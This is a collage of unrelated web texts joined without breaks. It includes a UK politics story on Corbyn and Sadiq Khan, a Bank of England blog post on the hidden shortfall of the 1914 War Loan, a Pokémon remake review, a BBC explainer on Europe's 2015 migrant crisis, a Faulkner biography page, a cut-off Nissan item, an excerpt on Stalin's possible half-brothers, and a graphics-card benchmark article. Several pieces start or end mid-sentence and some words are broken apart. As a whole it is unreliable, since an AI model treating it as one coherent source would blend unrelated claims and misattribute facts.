After seeing his party beaten into a humiliating third place in Scotland behind the Tories and losing council seats in England on Thursday, Mr Corbyn was desperate to be seen with triumphant a Mr Khan.
Mr Khan, the first Muslim mayor of a European capital, now has a huge personal mandate after his thumping victory over Tory candidate Zac Goldsmith.
In a sign of his new international standing, he was yesterday congratulated by US Democrat presidential hopeful Hillary Clinton, who praised him as 'a champion of workers' rights and human rights'.
Sources said the new mayor appeared determined not to have his moment of glory tarnished by association with Mr Corbyn.
During his campaign, Mr Khan disowned Mr Corbyn's Left-wing style, such as his refusal to sing the National Anthem.
A spokesman for the London mayor denied snubbing Mr Corbyn, saying: 'There was an open invitation to all London MPs to the cathedral.'
Mr Khan himself said he could not explain why the Labour leader had failed to attend yesterday's ceremony, saying: 'I'm not sure what Jeremy's doing today.'
Mr Corbyn's attempts to appear alongside Mr Khan included an appearance on Friday night at a celebration party at 10.50pm in a bar not far from City Hall.
However, this was thwarted after the final result declaration was delayed and Mr Khan himself only showed up at his own victory bash at 1.15am.
Despite the denial, Labour MPs privately said the mayor would be entirely right to carry on keeping his distance from Mr Corbyn.
'Sadiq knows he won the mayoral election in spite of Corbyn, not thanks to him,' said one. 'All the anti-Semitic nonsense around the Corbyn camp caused huge damage to our campaign. Sadiq will run London his way, not Corbyn's.'
In a further sign of the gulf between them, Mr Khan last night said his victory showed how Labour could win back power nationally – and invoked Tony Blair's 'big tent' mantra as the way to win elections.
In comments that will be seen as a dig at Mr Corbyn for turning the party in on itself, he said in a newspaper article: 'Labour has to be a big tent that appeals to everyone – not just its own activists. Campaigns that turn their back on particular groups are doomed to fail.'
The Labour leader and the new mayor even missed each other at Khan's official victory party on Friday, with Corbyn arriving – and leaving – several hours before the London Mayor showed up
Mr Khan also took aim at a Tory campaign which included accusations he had shared a platform with Islamist extremists.
He claimed the 'fear and innuendo' tactics were'straight out of the Donald Trump playbook' – a reference to the controversial US Republican presidential hopeful who has called for a ban on Muslims entering America.
'I hope it's something the Conservative Party will never try to repeat,' Mr Khan said.Michael Anson, Norma Cohen, Alastair Owens and Daniel Todman
Financing World War I required the UK government to borrow the equivalent of a full year’s GDP. But its first effort to raise capital in the bond market was a spectacular failure. The 1914 War Loan raised less than a third of its £350m target and attracted only a very narrow set of investors. This failure and its subsequent cover-up has only recently come to light following research analysing the Bank’s ledgers. It reveals the shortfall was secretly plugged by the Bank, with funds registered individually under the names of the Chief Cashier and his deputy to hide their true origin. Keynes, one of a handful of officials in the know at the time, described the concealment as “a masterly manipulation”.
The emergence of capital markets as a war front
War was an expensive business. Between 1913/14 and 1918/19, government spending rose more than 12-fold to £2.37bn, almost entirely attributable to military expenditures (Morgan, 1952). While tax revenue did quadruple over the same period, war debt was required to finance the remainder. As a result, UK government debt increased from around 25% of GDP to 125% in four short years, requiring bond issuance and debt build-up on a pace unlike anything seen before (or since) in peacetime.
Figure 1: UK national debt
These unprecedented costs meant that war posed a fiscal as well as a military challenge for governments. Capital raising was not ancillary to Britain’s war strategy— as the wealthiest economy by far among the Entente, and the financial centre of its day, it lay at the heart of it. As articulated by Lloyd George in 1914, (Daunton, 2002; French, 1985) Britain’s plan was to use its commercial and military naval forces to ensure a blockade of the Central Powers, to provide a limited army to support French troops on the Continent and raise the capital to provide arms and supplies for its allies.
Although the government ostensibly appealed to investors’ sense of duty, they also offered an attractive yield on the bonds. For this first wartime foray into the bond market, the government offered 4.1%, well above the 2.5% payable on other government debt at the time. Unlike almost all existing government debt, which took the form of consols, war bonds were loans where principal was to be repaid after 10 years.
As part of a project looking at the financing of World War I, the ledgers of investors who purchased the 3½% War Loan have been analysed for the first time. These reveal the startling truth about the failure of the first bond issue of the Great War and the extraordinary role of the Bank of England in covering and then concealing the shortfall in funds…
The disastrous first bond issue
Britain’s banks agreed initially to make firm offers for £60m of the new issue, representing up to 10 per cent of their deposit and credit accounts, while the Bank of England agreed to take up £39.4m. The remaining £250m was expected to be sold to the public. However, demand was so weak that only £91.1m was purchased.
And what funds were raised came from a woefully small group of financiers, companies and private individuals. These included wealthy private individuals and companies including what would become known as Bass Brewers and several shipping companies that were among businesses benefitting from surging war demand for their services (see images below).
Figure 2: Bond purchases by companies
The 1914 War Loan was sold in minimum lots of £100 to avoid drawing off deposits from Post Office Savings Banks where rates were much lower, which significantly narrowed the pool of potential investors. Just 1.2m individuals earned the £160 per year net of exemptions to require them to pay income tax (Daunton, 2002). Ranauld Michie, a historian of British investment, estimated that there were roughly 1m holders of tradable securities on the eve of World War I (Michie, 1999). The ledgers show that only 97,635 investors signed up to buy bonds, fewer than 10% of the pool of potential investors. Not only was the pool of wealth narrow and concentrated; it was heavily invested outside Britain where higher returns were found. An estimated £4bn was invested abroad in 1914, so only a fraction of these funds were voluntarily repatriated to finance the war effort.
Of those who did purchase, the modal investment was the minimum £100 and half of all investments were for £200 or less. But a small fraction of 2% of investors by number accounted for over 40% of investment by value.
Figure 3: Average value of War Loan holdings by region
Figure 4: Percentage of households purchasing War Loans by region
These were disproportionately based in what was unquestionably the world’s financial capital, the City of London, suggesting the vulnerability of Britain’s economy as a whole to the exigencies of war.
The highest percentage of households buying War Loan was concentrated in London, with the second highest in the wealthy South East of England. However, in the rapidly industrialising West Midlands, a smaller percentage of households bought the bonds, but those households had deeper pockets; sums raised there were higher than in the South East.
The great cover up
The general public could be forgiven for believing that the first War Loan was an unbridled success, given the overwhelmingly positive coverage. The Financial Times, for example, reported on 23 November 1914, that the Loan had been over-subscribed by £250,000,000. “And still the applications are pouring in,” it gushed.
Figure 5: Financial Times cutting
Source: Financial Times, 23 November 1914
Reproduced by kind permission of the Financial Times
Disclosure of the failed fund raising would have been “disastrous” in the words of John Osborne, a part-time secretary to Governor Montagu Norman, in a history of the war years written in 1926. Copies of this account were only given to the Bank’s top three officials and it was decades before the full version emerged. Revealing the truth would doubtless have led to the collapse of all outstanding War Loan prices, endangering any future capital raising. Apart from the need to plug the funding shortfall, any failure would have been a propaganda coup for Germany.
So to cover its tracks, the Bank made advances to its chief cashier, Gordon Nairn, and his deputy, Ernest Harvey, who then purchased the securities in their own names with the bonds then held by the Bank of England on its balance sheet. To hide the fact that the Bank was forced to step in, the bonds were classified as holdings of ‘Other Securities’ in the Bank of England’s balance sheet rather than as holdings of Government Securities (Wormell, 2000).
John Maynard Keynes, in a 1915 memo to Treasury Secretary John Bradbury (below), which was stamped ‘Secret’ -, praised the ‘masterful manipulation’ of the Bank’s balance sheet as means of hiding what would have been a damning admission of failure. But he also warned that Bank financing of the war should not be allowed to go on and that funds must be found elsewhere.
Figure 6: Keynes memo
Source: The National Archive (T170/72)
The longer term consequences
Faced with the possibility of catastrophic defeat, Britain threw overboard its centuries-long embrace of free market principles in several areas. It demonstrated a previously unseen willingness to interfere in private ownership of industry and property. It demanded that industries produce required goods, imposed rent freezes on private property, rationed imports and ultimately confiscated its own citizens’ foreign securities (Archive: 8A240/1).
Finance was no exception. Evidence from this sample of early investors in the War Loan illustrates that ‘sacrifice’ alone was not sufficient to attract the required funds. Subsequent war financings l would pay investors an even higher premium— including the mammoth War Loan of 1917 which raised £2bn by offering a hefty return of 5.4%.
But even this wasn’t enough. In January 1915, the Treasury prohibited the issue of any new private securities without clearance, and UK investors were banned from buying most new securities (Morgan (1952)). As the war dragged on, and capital became increasingly crucial to the Allies, the net would tighten further. And this episode was to be the first of several instances during the war where the Bank used its own reserves to provide needed capital.
The long-held laissez-faire principles of the Liberal and Conservative parties were thus sacrificed to raise the capital upon which the War’s outcome depended. Later on this would become a source of controversy. As the war unfolded, ministers were pilloried for rewarding investors far too generously for surrendering capital which should have been sacrificed gladly as a matter of patriotic principle (Hirst and Allen, 1926). And during the 1920s, as debt service rose to nearly 40% of tax receipts, investors were cast as profiteers, idly collecting rents on War Loans while others toiled.
For the Bank of England and economic policymakers more generally, this early failure led to the realisation that managing the national debt was a complex and, in war times, perhaps Herculean task. The episode marked an important step on the Bank’s transformation from private institution to a central bank.. A decade after the Armistice, the altered role of the Bank prompted creation of a Parliamentary commission to examine its functions, ultimately setting it on a path to nationalisation (Sayers (1975)).
Mike Anson works in the Bank’s archive, Norma Cohen is a PhD student at Queen Mary University of London, Alastair Owens is Professor of Historical Geography at Queen Mary University of London, and Daniel Todman is a Senior Lecturer in History at Queen Mary University of London.
References
Bank of England Archive – file 8A240/1
Daunton, M. (2002) Just Taxes: The Politics of Taxation in Britain 1914-1979, Cambridge University Press, p40, Table 2.2 p42
French, D. (1986), British Strategy and War Aims 1914-1916, (RLE First World War), Routledge
Hirst, F.W., Allen, J.E. (1926) British War Budgets, Humphrey, Milford, London, for Carnegie Endowment for International Peace,
Michie, R.C. (1999), The London Stock Exchange: A History, Oxford University Press, p 71
Morgan, E.V. (1952) Studies in British Financial Policy 1914-25, Macmillan & Co, London p104 Table 9
Wormell, J. (2002), The Management of the Debt of the United Kingdom: 1900-1932, Routledge, London…
Sayers, R.S. (1975) The Bank of England 1891-1944, Vol. I., p66
Acknowledgements
We are grateful to the UK’s Arts and Humanities Research Council for supporting our research (Award Number AH/M006891/1).
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Bank Underground is a blog for Bank of England staff to share views that challenge – or support – prevailing policy orthodoxies. The views expressed here are those of the authors, and are not necessarily those of the Bank of England, or its policy committees.When Nintendo announced that the third generation of Pokémon games would finally be getting re-made for the Nintendo 3DS, many fans could barely contain their excitement; yet after the truly excellent Pokémon X & Y, what could Game Freak do — besides feed nostalgia — to possibly improve upon it? It seems the Poké-dev still has a few tricks left up its sleeve, even after all these years.
Pokémon Omega Ruby and Alpha Sapphire follow the plot of the originals religiously — with only a few minor adjustments here and there to better fit the modern Hoenn — but due to the 3D models as well as the other more impressive visual capabilities, the story feels infinitely more alive than it did before. The gravity of the situation is all the more apparent for the 3DS’ beefier system, and the animation of the characters really helps to give them more of a personality rather than the slightly forgettable 2D sprites of yesteryear.
Depending on which version you play, the plot follows the nefarious deeds of either Team Aqua (Alpha Sapphire) or Team Magma (Omega Ruby) as they attempt to bring about a new world that is more hospitable for Pokémon. Both teams have been redesigned to make them much more distinctive, especially when considering their slightly uninspired designs in the originals. Speaking of design, those who loved dressing up in different outfits in X & Y may be disappointed, as there are no options for customising yourself in these titles. It seems like a bit of a step backwards, and that’s not the only strange thing that’s a bit archaic for the series; the Pokémon Centres and Poké Marts are separate once again, despite them being combined into a single, convenient building in the previous 3DS outing. This decision was probably made in order to try and keep the layout of the towns consistent with the originals, but it still feels like an odd move.
A lot of the features from X & Y have been carried straight over to this new entry; there’s no hiding this fact, either, as the features that have been copied have been done so without any real adjustments. The Player Search System, Pokémon Amie, and Super Training have all been copied and pasted into this entry, so anyone worried about not being able to shove Poképuffs into their beloved Treecko’s mouth can rest easy — we outline these features in our Pokémon X & Y review. Many if not all of the Mega Stones that were present in X & Y can also be found in these new titles, but don’t expect to have to wait until after you’ve beaten the Elite Four to find them, as many of them are scattered around Hoenn from the get-go, marked by conspicuous sparkles on the ground. Most of the stones required for the new Mega Evolutions will only become accessible as you delve deeper into Hoenn, making use of all the water-based HMs (moves that have a significant effect outside of battle) that these games offer.
Hoenn itself has received a number of enhancements; some of them are minor, like the placement of trainers and items, but some of them are outright enormous. Mauville City’s Gym Leader Wattson spoke in the original about completely overhauling his city, and in these remakes you can tell he’s clearly been busy fulfilling this dream; Mauville is now entirely one building, with everything being held under a single roof. This is also where you’ll find a lot of elements that have been introduced since Ruby & Sapphire were released, such as the move tutors who specialise in special moves for starter Pokémon, a shop where you can partake in Inverse Battles, and a Poké Miles exchange stand to name a few. As crammed as these newer features feel being all in one place, it does allow for the rest of Hoenn to be as faithful as possible, for better or for worse.
A new system for finding Pokémon makes an appearance in these games, the DexNav. This feature of the PokéNav Plus allows you to scan Pokémon whose tails stick out of the tall grass (or equivalent, depending on environment) and gauge their level, first move, and ability. This can help you pick out the best monster for your party, but the effectiveness of this feature will only be fully realised once you’ve searched and scanned the Pokémon you’re looking for a large number of times, increasing the DexNav’s level for that particular Pokémon. This replaces the Poké Radar from previous titles, and functions in a very similar yet more effective and enjoyable manner. Of course in order to make sure you don’t scare these Pokémon away you’ll have to make use of the new sneaking mechanic.
By pushing lightly on the Circle Pad you can creep towards your hapless victim and catch them unawares; if you run or even walk at full speed you’ll scare them off, but that’s not all sneaking does. By sneaking you actively lower your chances of bumping into a wild Pokémon in the grass, so if you’re trying to get back to a Pokémon Centre with a very weak party, you can use this feature to try and (slowly) make it back in one piece.
Pokémon Contests reappear as Contest Spectaculars, and largely function in the same manner as they did in the originals. You submit your Pokémon and select moves in order to try and win over the crowd as much as possible, or cause your opponents to falter if they’re getting a bit too big for their boots. They offer a distraction from the main game and allow you to show off your Pokémon in front of an audience, but ultimately the biggest issue is the moves. Each move has its own in-contest effect and type, which are necessary to make the most of if you want to win, but unless you get a separate group of monsters for these contests you’re going to be stuck with the moves you chose for their potency in battle, which may very well not be the best when it comes to a Contest Spectacular. It’s a fun little thing to do on the side, but the excitement is fairly short-lived. Luckily these don’t impede on the main game whatsoever and are entirely optional, so if you’re not interested you can simply walk right by them.
You'll also recognise that the Secret Bases have returned, only this time they're referred to as Super Secret Bases. These are basically the same as before, only this time you have the option to download other people's bases through various means such as QR codes. Once you've got a handful of bases at your disposal you can play some fun little mini games with them, such as capture the flag. Like the contests these are a completely optional part of the games, so you can simply ignore them if they're not to your tastes.
As far as the battles themselves go, it’s the same affair as in X & Y; the models all look utterly gorgeous, the battle animations are excellent, and the mechanics are intact. There is the addition of the new Mega Evolutions, and whilst these are just as enjoyable as the Mega Evolutions from X & Y, they don’t bring anything particularly new to the table; this is the case in order to allow Omega Ruby & Alpha Sapphire to communicate seamlessly with X & Y. If you are planning to trade or battle with someone on X & Y, you’ll have to adhere to the rules in your opponent’s game, which means you cannot use the new Mega Evolutions or trade Pokémon holding any of the new items. This makes a lot of sense, and it’s good to see that Game Freak has kept the two as compatible as possible. The framerate is still a little bit spotty when bringing in larger monsters – especially with the 3D on – but it’s easily forgiven when seeing just how gorgeous and smooth the Pokémon themselves look on a system as limiting as the 3DS.
Without a doubt the most impressive new feature is the new Soar ability, which functions very much like the Fly move that would allow you to instantly jump to towns you'd previously visited – as long as one of your party members had it as one of their four moves; with Soar you actually get to control the flight path from a third-person perspective and see the whole of Hoenn from atop the Latias or Latios you’ve befriended. This function is activated by using the Eon Flute item and does not require Latias/Latios to be in your party, as the legendary beast will quite happily swoop down from the sky and pick you up even if it’s in your PC Box. Once you’re on the beast’s back, you’ll activate your Mega Bracelet and shoot off into the sky on the Mega Evolution of your game-specific Legendary Pokémon, accompanied by some absolutely spectacular music as you do so.
Soaring renders Fly completely obsolete, as not only can you land in towns and cities, but also any route or landmark that you’ve visited before. It takes longer than simply using Fly, but the additional freedom you’re given coupled with the pure joy you feel when flying over the entire region and the freedom to not have a Pokémon with the move in your party at all times leaves what was arguably the most useful HM largely unnecessary. We can only hope that Game Freak has realised that the HMs are a bit of an outdated nuisance and give players similar items in place of these in future instalments.
As far as the post-game is concerned, Ruby and Sapphire were known for having an absolute wealth of extra content that you could access once you’d beaten the main game, and these remakes are no different. All of the old content is thankfully still here, and using the new Soar ability you can access numerous new areas that were previously nothing more than nameless islands on the main map, as well as the ominous ‘Mirage Spots’. We won’t go into too much detail for the sake of spoilers, but suffice to say it’s enough to keep you going for a very long time, and expect to see lots of Legendary Pokémon!Image copyright AP Image caption Migrants continue to accumulate on the Greece-Macedonia border
Europe is experiencing one of the most significant influxes of migrants and refugees in its history. Pushed by civil war and terror and pulled by the promise of a better life, huge numbers of people have fled the Middle East and Africa, risking their lives along the way.
More than a million migrants and refugees crossed into Europe in 2015, compared with just 280,000 the year before. The scale of the crisis continues, with more than 135,000 people arriving in the first two months of 2016.
Among the forces driving people to make the dangerous journey are the conflicts in Syria, Iraq and Afghanistan. The vast majority - more than 80% - of those who reached Europe by boat in 2015 came from those three countries.
Poverty, human rights abuses and deteriorating security are also prompting people to set out from countries such as Eritrea, Pakistan, Morocco, Iran and Somalia in the hope of a new life in somewhere like Germany, Sweden or the UK.
But as European countries struggle with the mass movement of people, some have tightened border controls. This has left tens of thousands of migrants stranded in Greece, raising fears of a humanitarian crisis.
As leaders grasp for a solution, they have increasingly looked to Turkey, hoping to slow the number of people setting off for European shores.
What routes are people using?
The most direct routes are fraught with danger. In 2015 more than 3,770 people drowned or went missing crossing the Mediterranean to Greece or Italy in flimsy dinghies or unsafe fishing boats.
Most of those heading for Greece take the relatively short voyage from Turkey to the islands of Kos, Chios, Lesbos and Samos. There is very little infrastructure on these small Greek islands to cope with the thousands of people arriving, leaving overburdened authorities struggling to provide vital assistance.
Others migrants continue to travel by boat from Libya to Italy, a longer and more hazardous journey.
Some of the worse tragedies in 2015 included:
Two boats carrying about 500 migrants sank after leaving Zuwara in Libya on 27 August
The bodies of 71 people, believed to be Syrian migrants, were discovered in an abandoned lorry in Austria on 27 August
A shipwreck off Italy's Lampedusa island killed about 800 people on 19 April
At least 300 migrants are feared to have drowned after attempting to cross the Mediterranean in rough seas in early February
Survivors often report violence and abuse by people traffickers, who charge thousands of dollars per person for their services. The chaos in Libya in particular has given traffickers freedom to exploit migrants and refugees desperate to reach Europe.
Where are they going next?
Many attempting to reach Germany and other northern EU countries go via the perilous Western Balkans route, running the gauntlet of brutal people traffickers and robbers.
Faced with a huge influx of people, Hungary was the first to try to block their route with a razor-wire fence. The 175km (110-mile) barrier was widely condemned when it went up along the Serbia border, but other countries such as Slovenia and Bulgaria have erected similar obstacles.
Austria has placed a cap on the number of people allowed into its borders. And several Balkan countries, including Macedonia, have also decided only to allow Syrian and Iraqi migrants across their frontiers.
As a result, thousands of migrants have been stranded in makeshift camps in cash-strapped Greece, which has asked the European Commission for nearly €500m in humanitarian aid.
Under an EU rule known as the Dublin regulation, refugees are required to claim asylum in the member state in which they first arrive.
But some EU countries, such as Greece, Italy, and Croatia, have been allowing people to pass through - often via the passport-free Schengen zone - to countries further north. And those countries are often failing to send migrants back.
Germany received more than 1.1 million asylum seekers 2015 - by far the highest number in the EU.
Hundreds of thousands of people are somewhere along the route, in Hungary, Croatia, Austria, Serbia, and elsewhere.
Meanwhile between 2,000 and 5,000 migrants are camped at the French port of Calais in the hope of crossing over to the UK.
Are EU countries doing their fair share?
Germany has been critical of other EU countries - including France and the UK -over their relatively meagre commitments to take people in.
In September, EU interior ministers approved a controversial plan to relocate 120,000 migrants across the continent over the next two years, with binding quotas. Romania, the Czech Republic, Slovakia and Hungary opposed the scheme.
Despite some efforts to ease the burden on Italy and Greece, only small groups of migrants have been relocated so far and several states in Central and Eastern Europe have refused to accept them.
Media playback is unsupported on your device Media caption The rules governing immigration to the EU - explained in 90 seconds
For years the EU has been struggling to harmonise asylum policy. That is difficult with 28 member states, each with their own police force and judiciary.
Championing the rights of poor migrants is difficult as the economic climate is still gloomy, many Europeans are unemployed and wary of foreign workers, and EU countries are divided over how to share the refugee burden.
More detailed joint rules have been brought in with the Common European Asylum System - but rules are one thing, putting them into practice EU-wide is another challenge.
EU leaders now hope Turkey can help to reduce the number of migrants arriving in EU nations. In February the bloc approved €3bn ($3.3bn; £2.2bn) in funding for the country to help it cope with record numbers of Syrian migrants it is already hosting.
European Council President Donald Tusk says it is up to Turkey to decide how to reduce the flow to Europe, but that it could be time to turn back migrant boats trying to reach Greece.
A note on terminology: The BBC uses the term migrant to refer to all people on the move who have yet to complete the legal process of claiming asylum. This group includes people fleeing war-torn countries such as Syria, who are likely to be granted refugee status, as well as people who are seeking jobs and better lives, who governments are likely to rule are economic migrants.Overview (5)
Mini Bio (1)
William Faulkner, one of the 20th century's most gifted novelists, wrote for the movies in part because he could not make enough money from his novels and short stories to support his growing number of dependants. The author of such acclaimed novels as "The Sound and the Fury" and "Absalom, Absalom!", Faulkner received official screen credits for just six theatrical releases, five of which were with director Howard Hawks. Faulkner received the Nobel Prize for Literature for 1949 and he received two Pulitzer Prizes, for "A Fable" in '1955 and "The Reivers", which was published shortly before he died in 1962.
- IMDb Mini Biography By: John B. Padgett
Spouse (1)
Estelle Oldham (20 June 1929 - 6 July 1962) ( his death) ( 2 children)
Trivia (15)
Was awarded the 1949 Nobel prize in literature.
Born at 11:0pm-CST
The character of the alcoholic Southern novelist-turned screenwriter W. P. Mayhew in the movie Barton Fink (1991) is based loosely on Faulkner.
His screenplay for Ernest Hemingway's novel To Have and Have Not (1944) marks the only time in film history that two Nobel Prize-winning authors were associated with the same motion picture.
Though Faulkner wrote well over one hundred short stories, only one of them, "Golden Land, " is set in Hollywood.
Interred at Saint Peter's Cemetery, Oxford, Mississippi.
Pictured on a 22¢ US commemorative postage stamp in the Literary Arts series, issued 3 August 1987.
Frequently worked with Howard Hawks
A short story by Faulkner, "Two Soldiers", which was originally published in The Saturday Evening Post (1942), was made into a short film directed by Aaron Schneider. The film went on to win a 2004 Oscar for Best Short Film, (Live Action). It is a poignant tale of brotherhood and the sacrifices of family ties American Soldiers must make for war.
A legendary, but possibly apocryphal, story about Faulkner relates how, after he had been hired by 20th Century-Fox as a screenwriter, he had been sitting around the Fox writers building for a few weeks without having done anything. A producer who had seen him wandering around the building asked what he was doing, and Faulkner replied that he had nothing to do. The producer asked if he had any ideas for a story. Faulkner replied that he had, but he would be better able to write it at home rather than in the Writers Building. The producer told him it was OK to go home, assuming that Faulkner meant the home in Hollywood that the studio was renting for him. A few days later the producer got a call from Faulkner, who had indeed gone home--to Oxford, Mississippi.
His favorite TV show was Car 54, Where Are You? (1961). Though he despised television, he reportedly would visit a friend's house on Saturday nights to watch the cop comedy.
Once worked as a house painter.
Was close friends with his publisher, Random House owner Bennett Cerf. When introduced to Cerf's wife, Phyllis Fraser, Faulkner greeted her as "Miss Phyllis" and called her that forever after.
Personal Quotes (6)
Gratitude is a quality similar to electricity: it must be produced and discharged and used up in order to exist at all... Always dream and shoot higher than you know you can do. Don't bother just to be better than your contemporaries or predecessors. Try to be better than yourself.
I'm just a farmer who likes to tell stories.
Hollywood is a place where a man can get stabbed in the back while climbing a ladder.
It's not Hollywood's fault. The writer is not accustomed to money. It goes to his head and destroys him.
If a writer has to rob his mother, he will not hesitate: The Ode on a Grecian Urn is worth any number of old ladies.
As long as I live under the capitalistic system, I expect to have my life influenced by the demands of moneyed people. But I will be damned if I propose to be at the beck and call of every itinerant scoundrel who has two cents to invest in a postage stamp. This, sir, is my resignation.AutoGuide.com
Nissan will add the overseas Qashqai crossover to its U.S. lineup, with the model debuting at next month’s North American International Auto Show in Detroit, multiple sources tell TTAC.
Pressed into domestic service to satisfy a crossover-hungry marketplace, the compact Qashqai will slot just below the popular Rogue, but it will likely arrive with a different name.
Sources tell TTAC the Qashqai will not replace an existing model. Adding a new crossover allows the automaker to shore up its product portfolio in a country that’s rapidly switching from passenger cars to utility vehicles.
Given that the model — in its current form — has rolled off the company’s Sunderland, U.K., assembly line since the 2014 model year, bringing the Qashq |
1917, the family prospered as "Nepmen" (private businessmen) during Lenin's economic compromise with capitalism. They ran a chain of taverns and restaurants in Baku and Tiflis, in today's Azerbaijan and Georgia. Old Koba died in 1930 in his eighties, but in 1928 Stalin had executed his "Great Turn" leftwards, ending Lenin's New Economic Policy and embarking on a ruthless drive to fund industrialisation by collectivising the peasantry.
Ten million innocent people were shot or died of hunger. The Egnat ashvili brothers lost their taverns and were arrested. But Vaso managed to convince local officials that he had to speak to Stalin in Moscow, and so, while his brother remained in jail, he headed to the capital. Through the good offices of Abel Yenukidze, an affable Georgian womaniser and top Bolshevik official, Vaso was received by Stalin who immediately ordered that the two brothers be freed and summoned them to Moscow.
Even though neither brother had been a socialist, let alone a Bolshevik, Stalin needed trustworthy henchmen around him. Besides, he had grown up with the Egna tashvili boys and loved their old father. Amazingly, he made Sasha a secret police officer in what became, in 1934, the dreaded NKVD, while Vaso became his eyes and ears in his homeland, Georgia, first as a newspaper editor and later as secretary to the Georgian central executive committee. The Caucasus was then ruled by the fast-rising young Stalinist henchman Lavrenty Beria, but Stalin liked to keep up his own sources of information in the south: Vaso always had direct access to Stalin, which infuriated Beria. And everyone in the NKVD soon knew (and whispered) that the Egnatashvili brothers were not just Georgian favourites: they were Stalin's half-brothers.
As for Sasha - a genial, handsome athlete and a wrestling champion like his father, Koba (as his photograph on page 35 shows) - he became a powerful courtier at the court of the Red Tsar. He enjoyed a special position because, although he was an NKVD officer, he served with the independent Kremlin security guards, which Stalin, cautious and paranoid about his security, kept under separate command even though it was nominally under the secret police, the People's Commissars for Internal Affairs.
When Stalin unleashed the Great Terror in 1936, he became ever more sensitive about his own security: he promoted Sasha to command the secret world of his food supplies and the country houses where he actually lived. So Sasha the successful restaurateur became master of dictatorial feasting and luxury.
I had read in various sensationalist books on the secret police that Sasha Egnatashvili was nicknamed the Rabbit because he actually became Stalin's food taster. This was one of those rumours that I discounted as being too outré: however, it turned out to be true. Indeed, Sasha soon became a very important courtier, always present in the background wherever Stalin went. Whether Stalin was holding huge banquets at the Kremlin for foreign visitors such as Ribbentrop in 1939 or Churchill in 1942, or just private dinners at his own villas for Politburo magnates, the Rabbit was in charge and, at smaller dinners, he often joined the company.
Among the Rabbit's staff at Stalin's villas was an experienced and trusted cook who rather extraordinarily had served Rasputin and Lenin, and now cooked for Stalin, too. This was President Vladimir Putin's grandfather. Given that he cooked for Rasputin, Lenin and Stalin, he is surely the most world-historical chef of modern times. When he was running for president in 2000, Putin proudly revealed the connection but said that his grandfather, a loyal Chekist to the last, had never yielded any secrets of his remarkable career.
Yet Beria, by now Stalin's tireless and hugely competent NKVD boss, super-manager and Politburo grandee, hated the Egnatashvilis because they had closer relations with Stalin than he himself had and because they were Georgians independent of him.
He was determined to destroy them.
Stalin's deadly game
Meanwhile, even though a food taster and catering maestro, Sasha Egnatashvili, whether or not he was Stalin's half-brother, was not immune to the deadly game of Stalin's Byzantine court.
Just before the Second World War, Stalin, whose wife Nadezhda Alliluyeva had committed suicide in 1932, became suspicious about the wives of his henchmen. The pretty young wives of his intimate chef de cabinet, Alexander Poskrebyshev, and of his top military hench-man Marshal Kulik were both shot, but their husbands continued loyally to serve Stalin without complaint. In addition, President Mikhail Kalinin's wife was in prison. And Sasha Egnatashvili's German wife was arrested and shot even as the Rabbit continued to taste the dictator's food.
During the war, Sasha was promoted to general and showered with medals: the rising young Politburo magnate Nikita Khrushchev grumbled in his memoirs that Stalin had made his kebab cook into a bemedalled general. Khrush chev did not know that the so-called cook was in fact Stalin's probable half-brother and trusted NKVD officer. Sasha accom panied Stalin to most of the summit meetings of the war and it was General Egnatashvili who or ganised the Yalta conference for Stalin where he met Franklin D Roosevelt and Winston Chur chill in early 1945.
Vaso Egnatashvili kept his key post in Georgia, but Beria had found a way to break Sasha's position: Stalin hated corruption all his life. While living in many villas and existing in a world of privilege, he was personally uninterested in money and highly austere in his personal arrangements. Yet General Egnatashvili presided over a huge machine of villas and farms and catering systems that produced enormous quantities of food and wine. Most of it went to waste and it seems almost certain that Stalin's chief of security General Vlasik and his senior colleague Egnatashvili were, if not selling this food, enjoying the luxuries at their disposal in wild parties, orgiastic womanising and general decadence.
At least twice, Stalin was presented with evidence of this and forgave Vlasik and Egna tashvili, but eventually Vlasik was dismissed and arrested. Sasha was never arrested. Beria wanted to destroy both brothers, but Stalin protected them. Sasha was left in charge of the Politburo sanatoria in the Crimea, where he died of natural causes in 1948.
On Stalin's death, Beria temporarily became strongman of the Soviet Union and immediately sacked and dismissed Vaso Egnatashvili, who languished in jail until Beria himself was arrested and shot three months later. He died in the Fifties. There are Egnatashvili descendants of Sasha and Vaso in Tbilisi, Moscow and the United States, all displaying the genial charm of their ancestors. Now, finally, the story of Stalin, his possible father Koba Egnatashvili, his putative half-brother the Rabbit, and their connection to President Putin can be revealed.
"Young Stalin" is published by Weidenfeld & Nicolson (£25)I love a good PR stunt or outlandish claim as much as the next guy. You know the type—where a company decides that the best way to tell people about a new product is to slaughter a few goats and serve fake entrails up to guests or to declare that a certain developer is going to make you his bitch. Imagine my delight, then, when AMD's Raja Koduri took to the stage during the unveiling of the RX 480 to say that, with two of them in Crossfire, they were faster than Nvidia's GTX 1080 and would cost far less. Everyone was intrigued.
Here's the thing about making bold claims involving competitor products, though: you'd better be damn sure those claims stand up under scrutiny. Sooner or later, someone will actually test it.
With the RX 480 in shops and the initial batch of press reviews near universally declaring it an excellent graphics card for the budget-minded gamer (something I agreed with too), it's time to put AMD's bold claims to the test. Are two AMD RX 480s faster than a GTX 1080?
In a word: no. In fact, they're not even faster than a GTX 1070 in many games. To be fair to AMD, though, the company only ever said that two RX 480s were faster than a GTX 1080 in one game, under specific settings. So let's start with that one.
According to a Reddit AMA with AMD's Robert Hallock, AMD ran version 1.12.19928 of the game Ashes of the Singularity under DirectX 12 at 1080p and multi-GPU enabled with crazy settings, 8X MSAA enabled, and v-sync off during its benchmark. Hallock also detailed the system specs, which included an Intel i7 5930K, 32GB of 2400Mhz DDR4 memory, and Windows 10 64-bit.
The result? According to AMD, Ashes of the Singularity ran at 62.5FPS on the AMD cards and 58.7FPS on the GTX 1080.
While I can't replicate the exact same setup as AMD during its testing—I have a newer version of the RX 480 driver, for instance—I can get pretty close. The Ars UK test system just so happens to be based on a 5930K processor with 32GB of DDR4 memory. I even have access to the same Nvidia beta driver. With that in mind, I ran the benchmarks on the GTX 1080 several times using both the old driver and the new driver, the latter to better represent the experience consumers have with the Nvidia card right now.
The result on the Ars UK rig? 55.2FPS to the dual RX 480s and 57.2 to the GTX 1080. So it's close—very close. But no matter how much I tried, I couldn't get the dual RX 480 setup close to the 62.5FPS figure that AMD quoted during its stage presentation. Weirdly with the newer Nvidia driver, its score actually goes down, this time to 54.9FPS. It effectively matches the frame rate of the RX 480.
Either way, while buying two RX 480s and running them together in a very specific setup might get you close to GTX 1080 performance, they're aren't faster.
How does dual RX 480s fare in other tests?
